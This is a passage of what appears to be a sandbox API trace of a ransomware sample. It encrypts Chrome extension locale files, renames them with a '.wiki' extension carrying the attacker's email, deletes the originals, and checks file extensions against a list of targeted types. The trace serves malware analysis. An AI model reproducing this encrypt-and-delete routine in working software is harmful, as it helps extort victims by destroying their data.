HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.001] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.001] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0179.002] GetLastError () returned 0x0 [0179.002] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x29b, lpOverlapped=0x0) returned 1 [0179.003] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0179.004] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.004] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.004] SetEndOfFile (hFile=0x2e0) returned 1 [0179.005] CloseHandle (hObject=0x2e0) returned 1 [0179.005] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.005] SetEndOfFile (hFile=0x1a4) returned 1 [0179.006] CloseHandle (hObject=0x1a4) returned 1 [0179.006] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.006] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json")) returned 1 [0179.006] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.006] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.006] lstrlenW (lpString=".doc") returned 4 [0179.006] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.006] lstrlenW (lpString=".docx") returned 5 [0179.006] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.006] lstrlenW (lpString=".pdf") returned 4 [0179.006] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.006] lstrlenW (lpString=".xls") returned 4 [0179.006] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.006] lstrlenW (lpString=".xlsx") returned 5 [0179.006] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.006] lstrlenW (lpString=".ppt") returned 4 [0179.006] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.006] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.007] lstrlenW (lpString=".zip") returned 4 [0179.007] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.007] lstrlenW (lpString=".rar") returned 4 [0179.007] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.007] lstrlenW (lpString=".bz2") returned 4 [0179.007] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.007] lstrlenW (lpString=".7z") returned 3 [0179.007] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.007] lstrlenW (lpString=".dbf") returned 4 [0179.007] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.007] lstrlenW (lpString=".1cd") returned 4 [0179.007] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.007] lstrlenW (lpString=".jpg") returned 4 [0179.007] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.007] lstrlenW (lpString=".doc") returned 4 [0179.007] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.007] lstrlenW (lpString=".docx") returned 5 [0179.007] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.007] lstrlenW (lpString=".pdf") returned 4 [0179.007] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.007] lstrlenW (lpString=".xls") returned 4 [0179.007] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.007] lstrlenW (lpString=".xlsx") returned 5 [0179.007] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.007] lstrlenW (lpString=".ppt") returned 4 [0179.008] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.008] lstrlenW (lpString=".zip") returned 4 [0179.008] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.008] lstrlenW (lpString=".rar") returned 4 [0179.008] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.008] lstrlenW (lpString=".bz2") returned 4 [0179.008] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.008] lstrlenW (lpString=".7z") returned 3 [0179.008] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.008] lstrlenW (lpString=".dbf") returned 4 [0179.008] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.008] lstrlenW (lpString=".1cd") returned 4 [0179.008] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 158 [0179.008] lstrlenW (lpString=".jpg") returned 4 [0179.008] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.008] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.008] lstrlenW (lpString="messages.json") returned 13 [0179.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.009] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=661) returned 1 [0179.009] CloseHandle (hObject=0x1a4) returned 1 [0179.009] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0179.009] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.009] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.009] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0179.010] GetLastError () returned 0x0 [0179.010] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x295, lpOverlapped=0x0) returned 1 [0179.012] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0179.013] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.013] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.013] SetEndOfFile (hFile=0x2e0) returned 1 [0179.013] CloseHandle (hObject=0x2e0) returned 1 [0179.013] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.013] SetEndOfFile (hFile=0x1a4) returned 1 [0179.014] CloseHandle (hObject=0x1a4) returned 1 [0179.014] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.014] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json")) returned 1 [0179.014] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.014] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.014] lstrlenW (lpString=".doc") returned 4 [0179.014] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.014] lstrlenW (lpString=".docx") returned 5 [0179.014] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.014] lstrlenW (lpString=".pdf") returned 4 [0179.014] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.014] lstrlenW (lpString=".xls") returned 4 [0179.014] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.014] lstrlenW (lpString=".xlsx") returned 5 [0179.014] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.015] lstrlenW (lpString=".ppt") returned 4 [0179.015] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.015] lstrlenW (lpString=".zip") returned 4 [0179.015] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.015] lstrlenW (lpString=".rar") returned 4 [0179.015] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.015] lstrlenW (lpString=".bz2") returned 4 [0179.015] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.015] lstrlenW (lpString=".7z") returned 3 [0179.015] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.015] lstrlenW (lpString=".dbf") returned 4 [0179.015] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.015] lstrlenW (lpString=".1cd") returned 4 [0179.015] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.015] lstrlenW (lpString=".jpg") returned 4 [0179.015] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.015] lstrlenW (lpString=".doc") returned 4 [0179.015] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.015] lstrlenW (lpString=".docx") returned 5 [0179.015] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.015] lstrlenW (lpString=".pdf") returned 4 [0179.015] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.015] lstrlenW (lpString=".xls") returned 4 [0179.016] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.016] lstrlenW (lpString=".xlsx") returned 5 [0179.016] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.016] lstrlenW (lpString=".ppt") returned 4 [0179.016] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.016] lstrlenW (lpString=".zip") returned 4 [0179.016] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.016] lstrlenW (lpString=".rar") returned 4 [0179.016] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.016] lstrlenW (lpString=".bz2") returned 4 [0179.016] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.016] lstrlenW (lpString=".7z") returned 3 [0179.016] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.016] lstrlenW (lpString=".dbf") returned 4 [0179.016] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.016] lstrlenW (lpString=".1cd") returned 4 [0179.016] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 158 [0179.016] lstrlenW (lpString=".jpg") returned 4 [0179.016] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.016] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.017] lstrlenW (lpString="messages.json") returned 13 [0179.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.017] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=668) returned 1 [0179.017] CloseHandle (hObject=0x1a4) returned 1 [0179.017] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json")) returned 0x2020 [0179.018] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.018] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.018] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0179.018] GetLastError () returned 0x0 [0179.018] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x29c, lpOverlapped=0x0) returned 1 [0179.020] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0179.021] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.021] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.021] SetEndOfFile (hFile=0x2e0) returned 1 [0179.021] CloseHandle (hObject=0x2e0) returned 1 [0179.021] SetFilePointerEx (in: hFile=0x1a4, 